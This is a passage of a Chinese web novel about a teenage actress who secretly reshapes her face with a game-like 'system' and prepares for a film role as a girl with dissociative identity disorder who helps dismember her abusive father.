老小区多是老人在住，每到九点半便十分安静。 孟开颜洗完澡站在镜子前，将镜灯点开，把头发梳成大光明，仔细端量镜子里的自己。 “这里，这里……” 她摸摸下巴，又摸摸鼻子。 鼻子还是不够挺拔，鼻头肉厚过于有存在感，显得有点憨，整体精致不足。 其实鼻子是相当难整的地方，孟开颜就听小姨说过好多动过鼻子的人需要定期返修，要是没有系统，她怕是也得走上不停返修的路。 再往下是下巴，她下巴有点过长。 这是剧组里化妆老师说的，化妆老师说她鼻底线到下颌线，也就是下庭的位置拖了整张脸的后腿。 化妆老师说：“下庭过长，导致你的三庭比例不对。好在你眉眼生得好，容易把视觉焦点了放在你眉眼处，所以整体看着就还行。下庭长显得人精明，但你这姑娘本身又没有精明的气质傍身，给人的感觉就有点矛盾。” 孟开颜回忆起化妆老师的话，决定把这次捏脸重点放在下庭。 捏下庭，要很小心……很小心，好在面板里可以先看效果再按确定键。 孟开颜点开捏脸游戏面板，放大下庭的位置，用仅有的50点的星光值改善它。 其实系统还是很智能的，可以选择自己动手捏，也可以选择一键优化。 可在经历过一键优化鼻子后，孟开颜还是决定自己捏。 倒不是一键优化的鼻子不好看，事实上系统的审美很好，而是你花50点去优化，呈现出来的只有25点的效果，对于穷鬼来说不划算。 此刻，孟开颜小心翼翼推动下巴，因为点数少，又得分摊给整个下庭，所以她推动的范围不大，肉眼基本上看不出来的。 “系统，我推了多少？” ［两毫米吧。］ 孟开颜：“你作为个智能体，怎么能这么不严谨？” 两毫米就两毫米，怎么还能“吧”呢？ ［2.26毫米。］ 孟开颜觉得能再推点，调整好几次，最终定格在2.86。 紧接着是两边的下颌线，同样往上调整。一般情况下，瘦四五斤能达到同种效果。但她如今太瘦了，再瘦下去就得皮包骨了，再者骨头也没法减，所以不能靠减肥解决。 最后就是人中，因为人中能影响到鼻子的观感，孟开颜移动时更加小心，她足足花费半个小时去调整。 调整完一问系统，也只调整了1毫米。 她在面板上看了好半天的模型，又小幅度的修改几个位置，在快11点时才点击的确定。 时间似乎定住半秒。 孟开颜屏住呼吸，刹那间，镜子里的自己好似发生波动，好像什么都没发生，又好像发生了什么……明明没有眨眼，但孟开颜却觉得自己的世界缺了半帧。 翌日。 简珍珠不喜欢做饭，家里早饭向来是从楼下早餐店中打包回来的。 她刚把馄饨从保温盒里倒出来，就听到闺女儿房间传来吹风机的动静。 “今天起这么早。”简珍珠敲敲门，听到声“进来”后才推门而入。 “昨晚没睡舒服吗？”她有点担忧，当妈的就是这样，孩子有点风吹草动都怕是哪里不舒服。 孟开颜甩甩头发：“没呢，就是惦记着元旦晚会的事儿，醒早了。” 简珍珠接过吹风机从后面给闺女吹：“要是太累，元旦晚会可以不参加。” 说来也怪，小学初中的时候闺女可都不爱参加这些活动，高中倒是喜欢上了，回回活动一次不落，因此还得了积极学生的称号。 “那不成，得参加！”孟开颜赶忙摇头，这可不行，她指望活动赚星光值来着。 简珍珠：“得，那你就参加吧，一天到晚使不完的牛劲儿。” 孟开颜头发不算长，很快吹好。 她用夹子把额头两边头发夹上，正抹保湿水呢，就见简珍珠盯着她脸瞧。 孟开颜：“妈，咋了？” 简珍珠皱眉，靠在梳妆台上仔细观察她脸蛋：“我怎么觉得妮儿你又漂亮了呢。” 孟开颜心虚一瞬：“真的吗？” 简珍珠眉头渐松：“是真漂亮了。哎，是因为瘦了还是怎么样，下颌线清晰很多。怎么说呢，也更顺畅。” 孟开颜：“大概是吧，我现在94斤。” 简珍珠纳罕：“那就是比之前瘦四斤，四斤效果这么大呢？”搞得她也想减减。 孟开颜眨眨眼：“其他地方没变化吗？” 简珍珠捏住她下巴，左右转动认真观察，最终摇摇头：“好像没有，但总觉得哪里和从前不一样了，想来是长开了。这也正常，你这岁数的姑娘每年一个样的都有。我初中高中时的相片都跟两个人似的，你这是遗传了我。” 孟开颜笑眯眯：“妈你基因好。” 简珍珠女士很得意：“那可不，随你爸那就完蛋了！” —— 周日。 适应几日微调后的新面孔，孟开颜迎来今年的第二次试镜，大概也是最后一次。 陈榆家也在上海，这倒是大大方便了孟开颜。 孟明海得加班，今天是简珍珠开车送的她去试镜。 跟着地图来到陈榆家，车子最终停在一座别墅前。 简珍珠感慨：“难怪这里的房价贵上天，原来里面的环境这么好。” 正说话呢，院里就传来声音：“是简小姐和小孟么？” 母女俩闻声看去，见到一位正在浇花的女人。孟开颜立刻认出来了，这是国内知名演员陈榆。简珍珠更不必说，她从十来岁就看人家演的电视剧，看几十年了，哪里会认不出来。 “哎是我！陈老师您好，我是简珍珠，这是我女儿孟开颜。” 孟开颜：“陈老师早上好。” 陈榆笑笑：“快进来吧。” 陈榆家内部其实不算大，但院子整理得是真好，暖房里开满鲜花，经过时都能闻到馥郁的花香。 屋里开了暖气，有两只猫优哉游哉趴在沙发上，见到生人也不怕。 陈榆戴上眼镜，将孟开颜打量一圈：“小孟是不是不太上镜。” 现实里怎么比镜头中好看这么多。 是的，对于孟开颜来说，她只是进行50点星光值的微调。对于简珍珠来说，自家妮儿只是“长开”一点点，但对陈榆这种长期和镜头接触，对脸蛋分外敏感的人来说，孟开颜和之前相比简直是大变样。 “脸短了。”陈榆伸出手，在空中用手量了量，“瞧着两边轮廓也清晰了，你在陈曼那儿拍戏的时候是水肿了吧。她就爱赶进度，赶得演员的状态都不顾。” 孟开颜尴尬地笑了笑：“大概是这几天瘦的多了。” 陈榆摇头：“那不能，瘦归瘦，身体却是要经过几天去调整状态，你状态很好。” 不过她也没多探究这事儿，毕竟就这么几天的时间，孟开颜总不能去整容了。 说着打开摄影机，“小孟你站到机子前，自己找位置。” “好的。” 孟开颜想了想脱了羽绒大衣，里面只穿了米白的毛衣和牛仔裤，这样显得人不臃肿，也能看出身体比例。 站在镜头前，孟开颜先是转四下，而后就开始找角度。 此时阳光正好，镂空竹叶形状的亚麻纱窗帘将阳光分隔成竹叶形状。 她站在窗帘前，竹叶状的阳光正好打在她脸上，孟开颜轻轻转头往镜头方向看去。 “不错，真不错。”陈榆按下快门把这一幕拍下。 这姑娘镜头感好，眼神也干净利索，不怯懦不躲闪，这很好。 更难得的是她的脸有故事看，你看着她的时候就会忍不住的想去探究她，想去了解她。 毫不客气地说，导演最喜欢这种脸，没别的原因，就是特别好拍。 “陈曼不行啊！水平真不行，这几年综艺上多退步了吗？”陈榆蹙起眉头，看着屏幕里的孟开颜，“我现在越来越好奇了，陈曼是怎么把你拍得那个鬼样的，还是说你得罪她了？” 孟开颜：“……” 她又能说什么呢，她又心虚了。 10、第十章 陈榆是爽快人，当确定孟开颜是她想要的那个人后也不拖拉，把人给敲定了。 速度快得孟开颜分外不适应，她从前几乎每部戏都得花不算少的时间去面试，甚至需要她爸妈去走人情拉关系，如此，才能拿到一个戏份不算多的角色。 孟开颜难得愣住，疑惑问：“不需要演一段吗？” 陈榆将摄影机收起：“老实说，日佳把你推荐给我的时候我是不算满意的。但我为什么又让你跑一趟呢，是因为你的演技帮你争取到这个机会。” 孟开颜听懂她的言外之意，她的外表并不符合陈榆的预期。 陈榆忽然停下手中动作，身体微侧靠着沙发背：“你有个片段演得特别好，大概……大概是你见你父母的那段戏。日佳给我发了三个片段，分别是你开机后的第一段戏，第二段就是这段，第三段则是杀青戏，她重点推荐杀青戏，说实话确实很不错，眼神加分，细节把控得也好，但就是太不错了我不喜欢。” 孟开颜眉心微凝。 “不明白吧？”陈榆笑笑，“你这岁数不明白很正常，因为在这段戏中你不是主导者，而是翠翠这个角色主导了你。” 孟开颜嘴唇翕动，好几秒后还是憋不住，反驳道：“可这不正是能说明我入戏了吗。” “入戏就是好的吗？” 孟开颜肯定道：“只有入戏才能最大限度的把角色演好。” 陈榆指着客厅墙壁的博物架说：“看到了吗，最顶上的六座奖杯没有一座是靠着完全入戏获得的，一名优秀的演员，必须是戏的主导者。你可以用无数种方法去靠近角色，但这必须是在你的主导下完成的，演员，必须要完全的控制自己。” 孟开颜懵懂：“在这过程中不应该投入自己的情感吗？” “当然能！角色的情感由你而创造，你可以把自己的情绪塞到角色中，把自己的内心世界映射到角色中。你不能在角色该哭的时候高兴，该笑的时候难过，不能在角色饿得要晕倒的时候肚子还是撑着的。但在这过程中，你必须保持清醒，拥有随时抽离出来的能力。” “你已经摸到成熟演员的边儿了，懂得统一自己和角色的共同处，压抑相悖处，却无法控制其中的度。” 陈榆不知想到什么，皱眉道：“演员是个割裂的职业，你要是没有掌控自己情感的能力得吃大亏。” 孟开颜下意识屏住呼吸，不知是否是因为室内温度过高，她后背出了密密麻麻的细汗。 “对于很多导演来说他们最喜欢演员处于这种状态中，才不管你后面能不能脱离出来。戏比天大，戏才是他们最看重的东西。他们乐极了你去体验角色，乐极了你去和合作演员谈恋爱闹矛盾，只要你愿意，他们甚至可以给你牵桥搭线。”陈榆坐在沙发上，“但我们演员不能犯傻，得学会保护自己。在演好角色的同时保持清醒，这并不是个矛盾体。” “我在你的翠翠和父母相见戏里就看到了这种掌控力，大概是你原生家庭好，可以看出你母亲很爱你。”陈榆耸耸肩，“所以你没办法完全代入到翠翠中，只能依靠求同存异的办法去塑造，塑造的是真的很不错。” 孟开颜抿抿嘴唇：“我懂了陈老师，谢谢您。” 陈榆又笑了：“倒不必这么早谢我，我签你进我的组，自然是要对你负责的。最重要的是我要你演的这个角色……嗯，有点复杂，我还真怕你这个小姑娘陷进去。” 孟开颜听后眼睛都亮了。 复杂啊，她喜欢。 陈榆立马明白，这姑娘有点戏痴。 完了，戏痴都是极端人，明知不敢为而为之的人，她是既讨厌又喜欢。 —— 孟开颜没拿到角色小传，直接被陈榆给请走了。 戏得过完年才开，年前开戏很贵的。陈榆只让孟开颜把体重提高点儿，保持在100到105之间。但不能胖脸，如果脸胖了，就必须再减回去。 条件听着有点无理，但孟开颜完全能接受。 能在成年前演上电影，这是她之前做梦都不敢梦的事儿。 今年冬天冷得厉害，每日出门上学对她来说是折磨。简珍珠心疼她，每天早晨都开车送她去学校。 这样一来，家里也不做早饭了。孟明海去公司吃早饭，而母女俩则是买了两张麦当劳早餐卡，每天经过麦当劳时顺带把早饭解决。 很快，新的一年即将到来。 元旦晚会在31号那天举办，孟开颜弹唱了首大热门英文歌，狂澜60个星光值。这比她累死累活在运动会上跑八百米来得划算。 为什么相比去年星光值翻了个倍呢？ 孟开颜仔细研究了其中的原因，最后得出结论是这首歌的原唱很多人喜欢。 “……” 好吧，她好像找到了捷径，看来下回可以再试试。 元旦后的日子匆匆流逝，悄然间，寒假终于要到来了。 兰同最近在捣鼓自媒体号，孟开颜也是期末考试前才晓得她抖音粉丝数突破10万。 当时孟开颜在兰同家复习，看到她的主页后大为惊叹：“厉害啊，两个月10万粉，有成为大博主的潜力！” “哎哎哎，低调低调。”兰同嘘了声，看看左右小声道，“我家里人都不晓得呢。” 孟开颜：“为啥啊？你要是火了，很难藏住吧，大数据特别恐怖的。” 兰同颇为烦恼：“我爸妈没你爸妈开明，他们就希望我按部就班考大学，然后申请去国外读研，读完研究生就回来找个班上。” 孟开颜疑惑：“这和你干自媒体没啥关系吧，你上大学和读研究生的时候也能干啊，两者并不矛盾。” 兰同拍拍课本：“麻烦就麻烦在我这个寒假就死定了，我都能想象到我的分数得有多低了。要是他们知道我成了美妆博主，肯定会把成绩降低的原因怪在这上面。” “呃……难道不是吗？” 兰同沉默片刻，不得不承认：“还真是！” 孟开颜摊手：“那就没办法了。” 接下来两人也没心思复习了，你看我我看你，最终来到梳妆台前捣鼓化妆品。 “哎，我帮你化，你再帮我化。”兰同兴致勃勃，“开颜你皮肤可真好，用化妆刷刷粉底液的时候好顺滑哦，我怎么就没办法把皮肤养成你这样。” 孟开颜：“你要是能每天控制十一点前睡觉，一周只喝一杯无糖奶茶，日常生活中拒绝高糖高油的饮食，你皮肤也会好。” “那还是算了吧。”兰同吐吐舌头，用粉扑把粉底液拍服帖拍均匀，“无糖的奶茶没意思，而十一点前睡觉更是完全不可能做到的事儿。” 孟开颜闭着眼睛：“习惯就好，我在剧组里遇到个女演员，她每天就吃沙拉和牛排，或者是玉米红薯鸡胸肉，我瞧着都觉得痛苦，可人家都这样吃大半年了。” 兰同：“所以说演员这职业我干不了，不仅因为脸，还因为嘴。” 她化妆化得很快，主要是孟开颜脸上没什么瑕疵要遮。 孟开颜脸上从前还有点不明显的斑，这遗传自她爸爸，可经过一回皮肤改造后脸上的斑全消失了。 好在简珍珠和孟明海都没有注意到，渐渐的两人都忘了她脸上有几点斑这件事。 兰同最后给她喷定妆喷雾，叮嘱说：“开颜，你以后化妆的时候把眼睛化得稍微大点，这样好看。” 孟开颜看着镜子里的自己，金棕色的眼妆显得她有点叛逆，她点了点头。 除夕。 上海一到这时候人就得空一半，倒是她们小区比平时要热闹。 老小区嘛，住的都是老人家，子女往往只在这时候有时间回来同老人家团聚。 简珍珠和孟明海是本地人，不过孟开颜的爷爷奶奶被小姑接去了国外生活，就算是过年也只能在视频里见见两位老人。 孟开颜姥姥姥爷倒是在本地，不过两人早在20年前就离婚了，后面又各自成立了家庭，如今走动得也不频繁，基本控制在每年初二见一面的程度。 除夕夜，简珍珠举杯：“来，干杯啊，希望咱们家明年人人身体健康，越过越好。” “砰——” 一年过去，孟开颜迎接来崭新的一年。 明年会是什么样呢？孟开颜不知道，但她却很期待，因为年过完就能进组了。 陈榆太过敏锐，60点的星光值孟开颜压根没敢使用，就怕被她看出来那里不对劲呢。 简珍珠在开学那天就替孟开颜请了假，班主任晓得孟开颜要走艺考路的，所以并没有在这件事上卡过孟开颜。 正月十五过后，孟开颜进入剧组。 这回剧组可就远了，在哪儿？在广东。孟开颜一下飞机就觉得有点儿热，热得她想把穿在羽绒服外套里面的保暖衣脱了。 简珍珠高兴：“这种天气正正好，瞧这大太阳，晒得人舒服！” 孟开颜：“妈你不热啊。” 简珍珠：“不热，我才不像你那么傻，来的时候是查过温度的。” 两人又是打车去剧组，孟开颜这回可以参加开机仪式了。 她很激动，很兴奋，这还是她头回参加开机仪式呢！ 陈榆在这种时候也得迷信，大老远的就挥手招呼孟开颜：“来，小孟来点柱香。你是小孩，小孩的香比较灵。” 孟开颜：“好！” 她一路小跑，取到香后点燃，虔诚地拜了拜，最后插到香炉中。 这可是她的第一部电影啊，千万要顺顺利利的。 孟开颜求天求地的，有点懊恼初一那天没有跟奶奶一起去抢头香。 “神佛保佑，祖宗保佑，走过路过的都保佑。” 11、第十一章 孟开颜在开机当天才拿到完整剧本，不过人物小传倒是一周前就拿到了。 怎么说呢？确实有点复杂。 她这回演的人物名字叫纪瓶，是个16岁的姑娘，正好和她年龄相合。 纪瓶出生于一个普通又不算普通的家庭。 普通在她家和多数人家一般，是爹妈加孩子的配置。 不普通在她爹遇害了，是她妈杀的。 孟开颜前几日在陈榆家参加剧本围读时就有被故事情节惊到。倒不是被妻子杀丈夫的情节惊到，毕竟这事儿在女监里很常见，而是被妻子杀完丈夫后带着女儿一起分尸给惊到。 她饰演的纪瓶就是参与……哦不，是主导分尸的女儿，而陈榆则是杀夫的妈。难怪陈榆让她别靠完全入戏去塑造角色。 陈榆既是主演又是导演，开机当天就在片场里忙得飞起。 孟开颜今天虽没有戏，却也有任务。陈榆怕她没法完全把握角色，安排她去和编剧老师一起通读剧本。 陶衡在业内没什么名气，至少孟开颜在围读前完完全全不认识她。 据说这个剧本是她独立创作的第一个电影本，孟开颜觉得陈榆勇气可嘉，换她她肯定是不敢用的。毕竟拍电影太烧钱，一个不小心就得血本无归。 陶衡岁数不大，因为长期使用电脑写剧本的关系眼镜片分外厚。 她敲两下ctrl+s，抬头推推眼镜，瞧着孟开颜问：“你怎么看待纪瓶这个角色？” 孟开颜不假思索：“我觉得她有病。” 在对着人物小传琢磨七八天后孟开颜得出角色有病的结论，是字面意义上的有病。 “哦？”陶衡像是有了继续和她沟通的兴趣，起身把自己屁股下相叠的塑料凳掰一个给孟开颜：“怎么个有病法？” 孟开颜坐下，组织几秒钟的语言：“精神病，她好像有人格分裂症。平常的生活中是一个人格，遇到刺激后就会激发另一个人格。一个人格胆小木讷，一个人格胆大冷漠。” 陶衡两手交叉低着头，不知不觉往孟开颜方向靠近几分：“你继续说。” 孟开颜有点为难，陈榆是让她来通读的，不管是人物小传还是剧本上并没有纪瓶有病的结论，她现在一顿说到底是不是思维发散后的一通乱说呢？ “说吧没事，我不介意。”陶衡催促。 “……” 孟开颜抿抿嘴，犹豫片刻道：“我认为纪瓶第二人格最早出现的时间并不是分尸那刻，其实很早就出现了。” “你觉得是什么时候呢？” 孟开颜绞绞衣角，有点郁闷：“不知道，我还只读完一遍剧本呢。” 她是来读剧本的，读剧本的！ 陶衡不知是没在意，还是半点没感受到孟开颜的崩溃，穷追不舍地问：“那你凭什么说她第二人格很早就出现。” 孟开颜好无语：“因为人物小传里她前期遇到事后的反应就跟人格分裂症差不多，比如情绪波动大，再加上她老是晚上睡不着，然后听到爹妈吵架，这是不是有点睡眠障碍了。小传里还说了，说她有点抑郁，这些都是人格分裂产生后伴随着产生的症状。” 陶衡猛地拍了下大腿：“你说的对啊！她就应该有人格分裂症的，这样才说得通嘛！” 孟开颜想晕倒。 到底谁是编剧，她觉得自己和这个编剧没法沟通。 陶衡也不管她了，对着电脑噼里啪啦一顿猛打，孟开颜是个好脾气的人，即便心里对编剧有点意见，却也没离开。主要是她知道剧组里编剧的重要性绝对大过此时的她。 陶衡一忙就是大半小时，孟开颜瞧她打了删删了打的，不免对她生起佩服之心。 房间外正在搭景，孟开颜听到高青健的声音，他演的是纪瓶的爹，看样子最先拍的是他和陈榆的戏份。 没过一会儿屋外就清场了，连带着房间内都瞬间安静下来，只能听到键盘敲击声。 “咦，你怎么还没离开。”陶衡忽然问，孟开颜怕打断她的思绪，屁股快坐麻了都没敢动。 孟开颜暗暗叹气：“陶老师，导演让我来找你通读剧本。”她觉得自己像npc，搁这儿反复找陶衡完成固定任务呢。 陶衡愣了愣：“哦好，那读吧。” 终于要开始了，孟开颜正襟危坐，把纸质剧本放在桌上：“陶老师，我不明白……” 陶衡：“等等，你喊我陶编就好，我不喜欢被称老师。” “好的陶编。”孟开颜立马改口，“陶编我读完第一部分后有个很疑惑的点，纪瓶和她妈连杀人分尸这种事都干了，在后面面对小叔的威胁时为什么会第一时间选择妥协，而不是趁热打铁把他也给杀了。” 陶衡似乎有些惊讶于她的脑洞：“你当杀人跟杀猪一样容易呢，母女俩一开始是激情犯罪，当肾上腺素回落后人家也是会害怕的。” 孟开颜摇摇头：“不，母亲或许会害怕，但女儿不会。” “因为她有病！”孟开颜肯定道，“因为有病，所以她的想法异于常人，不会去考虑这些。拿母亲的反应去套女儿，我觉得有点……嗯，很勉强。” 孟开颜：“再者，纪瓶绝对是个行动力很强的人，分尸是她提出来的，她拿的刀，要不是她妈阻止的及时，最先分尸的还是她。她在那一晚选择放过纪小叔，绝对是有不得不放的理由。” 陶衡陷入沉思，撑着脑袋：“那你觉得理由是什么呢？” 孟开颜表情木然：“陶编。” “嗯？” “陶编，您是编剧。” 孟开颜忽然有点担忧剧组了，今天的开机仪式流程是不是不太对呢。 陶衡摆摆手：“我只能处理大体，这种细节我需要有人能跟我进行思维碰撞。你就说说吧，如果你是纪瓶你会因为什么原因放过纪小叔？” 孟开颜挠挠脑袋，苦思冥想：“如果我是纪瓶首先我肯定会杀了纪小叔，因为他知道了我的秘密，而且能多快就多块。可是……又因为某种原因我要暂缓杀人，原因只能是、只能是……” 她好一会儿，试探道：“只能是尸体不好处理？” 杀人容易，分尸难嘛。 孟开颜思路突然间通畅了：“有没有一种可能，猪没有消化呢？纪瓶父亲的尸体被猪吃后猪没来得及消化，所以纪瓶暂且放过纪小叔一马，而不是因为害怕。” 陶衡思量：“你这想法很好，纪瓶确实有病，不会害怕，不能用常理去套她。那我就得再给你加段戏了。” 孟开颜莫名有点开心。 陶衡吓一大跳：“你乐什么？” 孟开颜脸上笑容秒收，表情绷紧：“加我戏我开心。” 陶衡开始码字，又托托眼镜：“我还以为你推理推得兴奋起来呢，难怪陈榆姐说你有点危险，让我在带你读剧本的时候看着你点儿，防止你变成小变态。” 孟开颜：“……” 别以为她看不出来，刚刚陶衡一路引着她进入角色，这是阳奉阴违。 —— 孟开颜第三天才有戏，前两天的时间也没浪费，在猛背台词。 陈榆大概是有强迫症的，看孟开颜嘀嘀咕咕的背不停，就觉得心里难受得慌。 忍无可忍后道：“哎哎哎，那个小孟啊，背词是你这样背的吗？” 孟开颜起身，有点不确定：“不是吗？” 陈榆：“你没上过台词课？” “没有。”孟开颜想了想改口，“其实也有，上海剧团杨苏叶老师指导过我台词的节奏和变化。” 陈榆用卷起的剧本拍拍手心：“托尼巴尔说过一句话，记住角色，而非台词。他提出的刺激、吸收、影响、反应模式你可以网上搜了试试，你这样记好费劲，听得我着急死了。” 孟开颜想说一点都不费劲，但最终还是点点头。 她拿起手机搜，片刻后，还是觉得暂时得按照自己的方法去背。 托尼巴尔讲得太啰嗦，她在情绪比较亢奋的情况下是看不进去的。 孟开颜觉得自己被纪瓶给影响了，越是深入了解她，越是被影响。 陶衡说，这种角色有“污染”能力，想摆脱她得费一番功夫。孟开颜严重怀疑陶编目前就处于被“污染”的阶段中。 开机第三天。 孟开颜把前几场戏的台词背得滚瓜烂熟，甚至拉着简珍珠对上好几回戏，因为她想讨个第一场戏一条过的彩头。 化妆老师端详她的脸，啧啧两声：“你脸盘子稍微大了点儿，圆润了点儿，眉眼给人的比较英气，一点都不阴郁，这很不好化。” 孟开颜有点尴尬：“还不够瘦吗？” 化妆老师捏捏她脸：“挺瘦的，是骨头的原因，再减也没用。不过你可别听了我的话去削骨啊，削完你这辈子几乎就无缘电影了。要是医生技术不好，电视剧都拍不了。” 孟开颜赶忙摇头：“我不削，我怕疼。”她看过削骨视频，很可怕的。 化妆老师：“疼倒是还好，就是风险高。” 说着，开始帮孟开颜化妆。 纪瓶是个什么样的人呢，不能一言概之，还是那句话，因为她人格分裂。 不过在今天这场戏里出场的是第一人格，敏感、怯懦、胆小的人格。 化妆老师没给孟开颜上粉底，只用眉粉改变了她的眉形，又往她脸上化些瑕疵。 “平常防晒做得很到位啊。”化妆老师夸赞，“用的什么防晒霜？” “兰蔻小白管。” “就这个？” 孟开颜点点头。主要是她妈用的就是这个，她有系统帮忙，到底好不好用她就不知道了。 化妆老师用小唇刷把她嘴唇化苍白，边化边说，“那我下回试试。” 孟开颜化妆加造型的时间不过半小时，可效果特牛。 当做完造型后看着镜子里的自己，孟开颜觉得眼前的她被从小打压到大，还患有严重抑郁症。 12、第十二章 孟开颜觉得妆化的不错，但陈榆却觉得还缺了什么。 她绕着孟开颜看了好几秒，眉头渐皱，问道“小孟你现在多重？” 孟开颜摸摸脸颊：“102。” 她是太胖了吗？ 陈榆捏她肩膀，又拍拍背部：“尽量在这几天内再瘦五斤。也不胖，是你精气神太足，化妆品都盖不住，试着靠饥饿感压压。” 孟开颜无话可说，她还是头回听到这种说法，但还是点头应下。 “25场，1镜1条，开始！” 场记板声响起，孟开颜瞬时间进入状态，挺直的腰板自然而然的微弯，脑袋下垂。 房间角落里还没上场的陈榆看到这一幕不禁生出些满意来。 含胸驼背的状态给得很足，能看出来私底下有构思过纪瓶的外在形象。 只是此刻的1镜主角并非是她，只见高青健饰演的纪华推门而入，摄影机对准他，而后慢慢随着他的走动而移动。 “纪华”砰一声将门踢开，双手插兜骂骂咧咧地进屋，进屋后直奔卧室，然后拉开抽屉找钱。 他一通乱翻，越翻脸上越不耐烦，“他奶奶的，钱呢！” “纪华”气得拍桌面，说话的同时转头看向卧室门口。 “咔——” “不错！”陈榆鼓掌，“老高这回表情够阴狠了。” 高青健没说话，他还没有脱离状态，依然保持着愤怒的情绪。 孟开颜能感受出来陈榆导演当得不熟练，要是陈曼，她能在高青健结束表演的同时让孟开颜接上，最大程度使得演员状态不掉线。 好在陈榆没耽搁多久，很快就该孟开颜出场了。 “纪瓶”是位正在读高中的姑娘，只是她每天在学习之余还得兼顾做家务的任务。因为她母亲忙着照顾猪圈里的十多只猪，而她父亲则忙着赌博。 听到屋外传来动静，纪瓶笔尖停顿，身体不自觉战栗。 她得出去给父亲热饭了，可怜的姑娘起身时还被桌角拌了腿。 这一幕陈榆没想到，倒是摄影师快速捕捉到了，陈榆心一惊，却也没喊暂停。 是意外还是这姑娘故意设计的？陈榆有点疑惑。 纪瓶开门，纪华则从卧室中气势汹汹走出来：“钱是不是被你妈拿走了？” 纪瓶惊颤得往后退两步，猛摇头：“我不知道。” “啪”地一声，不耐烦的纪华顺手给纪瓶一巴掌，“娘俩都是鹌鹑样，晦气死了。”然后气冲冲出门。 纪瓶没顾上火热热的脸颊，跑到窗户边往外看，只见纪华往猪圈方向大步跑去。 摄影机在窗户外，布满铁锈的老旧铁栅栏是最好的取景框，镜头透过它，捕捉到纪瓶那平静得近乎冷漠的眼眸。 “咔，过！” 孟开颜松口气，好彩头讨到了。 最后的眼神倒不是她乱演，丰富角色血肉的小动作能加，能改变角色本身定位的眼神戏却不能乱演，除非能得到导演的同意。 这是陶衡改剧本的产物。陶衡把巴掌作为纪瓶人格转换的开关器，纪瓶的第二人格是被一次一次的家庭暴力刺激产生的，平时被主人格所压制，可当再次受到伤害时第二人格则会趁机冒出来。 接下来的几段戏相对而言会容易很多，两条家务戏，两条和“邻居”对话戏。 邻居一家要去赶庙会了，喊纪瓶傍晚的时候帮忙喂趟鸡。 不过再容易，演完时也到中午了。 简珍珠提着饭来，孟开颜吃着最近半月最后一顿正常午饭，每一口都嚼上几十下，势必要把正常饭菜的味道刻到舌根处。 “妮儿还能适应么？”简珍珠这回没在剧组里陪她，平常都呆在酒店里。 孟开颜点点头，嘴巴嚼啊嚼：“能适应，拍摄强度还没有上部电视剧来的高。” 简珍珠担忧：“戏份不多吗？” 孟开颜：“挺多的，我戏份都是组里第二了，就只比导演来的少。”毫不客气地说，这是她演过戏份最重的角色。 简珍珠笑得灿烂：“那就好，妮儿你好好演，说不准这部电影能让你一炮而红。” 孟开颜也希望如此，但目前国内的电影市场真让人揪心。 这两年大盘一冷就冷大半年，不管是战争片还是科幻片亦或者是喜剧片全都折戬沉沙没法救市，如今一众大佬都往春节档里头挤。 母女俩正说着话呢，副导演走过来：“小孟你今晚要加班，得把你25号的夜戏提前，预测要加班到两点。” 孟开颜愣住：“25号的？” “对。”副导演明显很忙，跟孟开颜说完后又给摄影组做调整工作去了。 简珍珠：“咋啦？” 孟开颜眨眨眼：“25号是重头戏，整部电影里最重要的片段之一，不过这样一来倒是和今天拍的戏连上了。” 她有点焦愁，情绪还没酝酿到位呢，突然上重炮她怕自己把握不住。 —— 夜晚。 因为要加班，难得吃了份夜宵的孟开颜绕着片场走动消食。月光明亮，站在屋顶上能看到不远处的沙滩。 沙滩上甚至还有人在走动，孟开颜以为是游客，问了副导演才知道，这是道具组在置景呢。 孟开颜仔细想了想，想起剧本上的海边抛骨头情节。 半小时后，她安静地呆在角落。 纪瓶分尸时是个什么心理呢？ 孟开颜靠着黑暗中的柱子思考。 会难过吗？孟开颜摇摇头，肯定不会。 不管是陈榆饰演的黄东英，还是她演的纪瓶，在染上赌瘾后的纪华眼里和那猪圈里的猪是无异的。 纪华从前是名杀猪匠，干着收猪、杀猪和卖猪肉的工作，纪瓶小时候家里每到赶集那天就会杀猪去集市里卖。 因此，杀猪的场景纪瓶看多了。 俗话说，没吃过猪肉也见过猪跑，没分过尸体，也见过分猪肉。 纪瓶被他如对待猪狗般对待时心中绝对有怨恨，所以当她把杀猪刀插入纪华身体里的那一刻，复仇所带来的快感绝对高于其他的一切情绪。 孟开颜呼吸加速，或许也不仅仅是复仇，在看多纪华杀猪场景后，纪瓶的心理可能发生了扭曲也不一定。 这是她的一次模仿，一次宣泄。 孟开颜从旁边树上折下小臂长的枯枝，有一搭没一搭地在空气中□□。 锋利的杀猪刀通畅地进入皮肤中，被坚硬的骨头所阻挡，抽刀的时候得离远点，否则容易被血溅到。 或许还得戴上围裙，就是纪华以前杀猪时用的屠夫围裙。 pvc材质，防水防油还易清洗。 陈榆走过来时见到的就是这一幕：“……” 大晚上的还怪瘆人，明亮的月光在此刻都显得阴森森的了。 陈榆打断她：“小孟啊，咱们来对戏。” 孟开颜呆两秒才恢复正常，把手里的枯枝随手一扔：“好的导演。” 陈榆觉得自己之前怕是看走了眼，她原先认为孟开颜在圈内走不远，亦或者是只能在正剧、生活剧中演些配角。 十几岁的孟开颜有优势，靠着碾压同年龄层演员的演技或许能得到不少好角色，但20岁后这种优势就会被打破。 成年人的世界很残酷，成年人的娱乐圈更残酷，某种程度上美丽的脸庞要比卓越的演技更得人青睐。 孟开颜既非明艳大美人，又走不了小家碧玉邻家妹妹的路线，陈榆一直找不到适合她的定位。 准确来说，在美女如云的娱乐圈里没有足够的记忆点，这个问题最致命，比丑还致命，可如今看来她的演技足以成为她的记忆点。 两人对戏对得很流畅，陈榆游刃有余，孟开颜也不落下风。 这着实令她欣喜，毕竟她几个月前还被方群虐得了无生趣呢！ 不过孟开颜也没脸大到觉得自己的演技就能比肩陈榆了。一方面是因为陈榆明显只是随便演演，没用尽全力，另一方面则是因为纪瓶这个角色给她戴了层增益buff，有张力的角色把握得好就容易出彩。 时间溜达到晚上九点半。 场景布置完毕，机位也已定好，这次是房里房外同时开拍。 房间里。 纪瓶如个木偶般坐在房间里，眼眸垂着，偶尔不耐烦地皱皱眉。 黄东英和纪华又在争吵了，纪瓶没有害怕的情绪，只觉得吵闹，即便隔着一扇门也吵得她心烦意乱。 房间外。 “把钱给我！”纪华怒吼，因为过于激动黄黑色的皮肤呈现出猪肝红。 黄东英额头青筋暴起，死死攥紧手里的筷子：“没钱！家里钱都被你赌光了，哪里还有钱！” 纪华横眉瞪眼：“放屁！纪洪说上午有人来清账，至少给了你两千，老子再说一遍，把钱给我。” 黄东英：“那是我卖猪的钱！” 